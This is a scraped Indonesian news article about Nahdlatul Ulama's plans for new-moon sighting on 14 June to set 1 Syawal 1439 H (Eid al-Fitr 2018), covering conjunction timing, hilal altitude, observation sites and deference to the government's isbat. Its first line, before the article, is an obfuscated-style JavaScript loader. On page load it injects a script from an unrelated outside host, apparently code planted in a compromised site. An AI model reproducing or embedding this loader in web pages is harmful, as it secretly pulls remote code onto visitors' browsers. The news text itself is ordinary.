(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Pimpinan Besar Nahdlatul Ulama (PBNU) melalui Lembaga Falakiyah (LF) NU akan menggelar rukyatul hilal di puluhan titik di seluruh Indonesia pada Kamis (14/6) untuk menentukan 1 Syawal 1439 H. “Rukyat hari Kamis sore 14 Juni karena hari itu bertepatan tanggal 29 Ramadhan,” ujar Wakil Ketua LF PBNU KH Sirril Wafa, Selasa (12/6).
Kiai Sirril menguraikan bahwa ijtimak atau konjungsi terjadi Kamis (14/6) dini hari, tepatnya pukul 03.44.48 Wita. Artinya, jarak waktu antara ijtimak dan maghrib berikutnya lebih dari 15 jam sehingga memungkinkan awal Syawal jatuh pada esoknya, yakni Jumat (15/6).
Hal ini diperkuat dengan tinggi hilal saat maghrib di Jakarta yang sudah melewati 7 derajat, tepatnya 7 derajat 33 menit 06 detik dengan markaz hilal di Jakarta. “Jadi jika pada Kamis sore setelah ghurub ada saksi yang melihat hilal dan terlaporkan ke Kemenag menurut mekanisme yang berlaku, sudah cukup bagi Menteri Agama untuk mengisbatkan 1 Syawal jatuh hari Jumat (15/6),” katanya dilansir Nuonline.
Meskipun demikian, Dosen UIN Syarif Hidayatullah Jakarta itu menegaskan bahwa sejak dulu, NU berkomitmen menunggu keputusan Pemerintah melalui Kementerian Agama sebagai lembaga yang diberi kewenangan untuk menetapkan awal bulan Hijriyah. “Dari dulu, NU komitmen dengan pentingnya isbat pemerintah yang dilakukan eksekutif. Dan mengikuti hasil keputusannya sejauh keputusannya berdasar pertimbangan syar’i yakni dengan dasarrukyat yang mu’tabar,” pungkasnya.
LF PBNU akan melakukan siaran langsung pantauan dari sembilan titik rukyatul hilal di Indonesia. Yakni Kendal, Ponorogo, Kebumen, Kudus, Blitar, Majalengka, Cirebon, Tasikmalaya, Gresik, dan Jember.
Di samping itu, para perukyat dari sembilan titik juga akan melakukan teleconference dengan PBNU di Jakarta untuk melaporkan hasil pantauan rukyatul hilal sebagai penentuan lebaran 2018, Hari Raya Idul Fitri, 1 Syawal 1439 H.
Sementara itu, obeservasi hilal juga akan dilakukan Lembaga Falakiyah Pengurus Wilayah Nahdlatul Ulama (PWNU) Kalimantan Selatan bersama Badan Hisab Rukyah (BHR) Tanah Laut pada Kamis (14/6) di Pantai Takisung.
 “Pantai Takisung merupakan salah satu lokasi observasi resmi di antara 90-an lebih lokasi observasi lainnya di Indonesia,†ucap Ketua Lembaga Falakiyah PWNU Kalsel, Akhmad Syaikhu. Dia mengatakan, hasil observasi hilal di Pantai Takisung akan dilaporkan kepada Kementerian Agama RI di Jakarta. Selanjutnya, hasil observasi di Pantai Takisung akan dihimpun keseluruhan sebagai dasar penetapan 1 Syawal 1439 Hijriyah dalam sidang penetapan atau istbat pemerintah bersama Majelis Ulama Indonesia (MUI) dan ormas Islam lainnya.
Menurut Syaikhu, salah satu penanda berakhirnya bulan lama dan masuknya bulan baru adalah terjadi peristiwa Itjimak (conjunction), yakni ketika tiga buah benda langit yaitu matahari, bumi dan bulan berada pada bujur ekliptika yang sama atau ketiganya berada pada satu garis lurus di bujur langit.
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.